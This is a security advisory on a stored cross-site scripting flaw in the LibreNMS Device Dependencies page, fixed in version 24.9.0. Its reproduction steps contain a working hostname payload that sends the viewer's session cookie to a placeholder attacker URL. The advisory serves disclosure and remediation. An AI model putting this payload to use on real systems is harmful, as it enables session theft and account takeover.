Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Device Dependencies” feature of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the device name (hostname parameter). This script executes when another user views the Device Dependencies page, potentially redirecting them to attacker-controlled sites and exposing session cookies.
Product
This vulnerability affects LibreNMS versions prior to 24.9.0 in librenms/includes/html/pages/device-dependencies.inc.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Add a new device with the hostname:
t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie" -
Save the device.
-
Navigate to Device Dependencies.
-
Observe the browser redirect to the attacker’s URL, carrying the victim’s cookies.
Expected result:
The browser redirects to the attacker-controlled URL (https://<attacker_url>/?c=<victim_cookie>), exfiltrating the user’s session cookie.
Remediation
Fixed in LibreNMS 24.9.0 by escaping row.hostname and constructing HTML elements safely in device-dependencies.inc.php, preventing XSS.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
